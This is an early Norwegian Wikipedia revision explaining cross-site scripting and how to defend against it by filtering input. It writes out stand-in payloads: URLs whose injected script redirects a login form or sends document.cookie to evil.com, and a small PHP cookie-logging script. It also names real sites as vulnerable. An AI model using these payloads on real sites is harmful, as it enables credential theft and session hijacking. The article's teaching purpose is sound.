Hopp til innhold

Cross-site scripting

Fra Wikipedia, den frie encyklopedi
Sideversjon per 23. des. 2005 kl. 16:06 av 62.16.225.140 (diskusjon) (En artikkel om xss)
(diff) ← Eldre sideversjon | Nåværende sideversjon (diff) | Nyere sideversjon → (diff)

Xss betyr cross site scripting. Det er en teknikk som brukes av mange hackere i dag for å kunne manipulere websider. Xss hull finnes i nesten alle dynamiske sider som gjerne er laget i php, per i dag(desember 2005) finnes det xss hull i både vg.no, itpro.no, og programmer.no. Feilen ligger i hvordan man filtrerer brukerinput.

Eks: Du har en gjestebok, og noen skriver en melding til deg: Hei du! God jul <script>alert("XSS hull!")</script>

Det som da skjer er at det du skriver inn blir lagret i en flatfil eller en database. Hvis det kommer opp en meldingsboks når du leser gjesteboken så er den sårbar for xss. Hvis ikke så har utvikleren filtrert bort alle < og >. I php kan det gjøres slik:

htmlspecialchars($input);

Dette kan hackere gjøre med xss hull:

  • Utføre phising angrep
  • Stjele cookies

La oss si at vi har en slik form: <form action="login.php" method="post"> <input type="text" name="user>
<input type="password" name="pass">

<input type="submit" value="Logg inn"> </form>

Hvis en hacker skulle utføre phising angrep kunne han bare ha forandret "login.php" til "http://evil.com/stjel.php", da kunne han ha lagret alle brukernavn og passord. En avansert hacker kunne ha automatisert scripet sitt slik at med en gang noen logger inn så blir passordet endret til noe annet.

De fleste xss hull finner man når man endre på urler. Ta denne urlen: "http://xxxxxxxxxx.com/index.php?msg=Hei du". For å bruke eksempelet overfor til å utføre et phising angrep kunne man ha gitt følgende url til offeret: "http://xxxxxxxxxx.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>"

Hvis en hacker vil stjele en annens cookies så kunne man ha gitt denne urlen til offeret: "http://xxxxxxxxxx.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>"

stjel.php ser da slik ut: <?php $cookies=$_GET['id']; $fp=fopen("cookies.txt", "a"); fwrite($fp, "Nye cookies: $cookies \n"); ?>

Så kunne man ha installert denne cookien i din egen browser og du vil da bli logget inn som offeret.

Nøkkelen til å beskytte seg mot xss er å filtrere all input fra brukeren, og da mener jeg både POST GET og COOKIES.

Til slutt vil jeg si at hvis du har lyst til å lære mer om xss kommer det til å bli vanskelig, eksempelene som er vist i denne artikkelen er forenkelt til det ytterste. Men for all del, har du ansvar for en webside sett deg inn i xss og prøv å angrip din egen side. Det er på denne måten du finner xss hull. Og uansett om du har visst om xss hull i en lang tid vil det være en eller en annen gang hvor du glemmer å filtrere og gjør xss mulig. Det har skjedd med meg utallige ganger.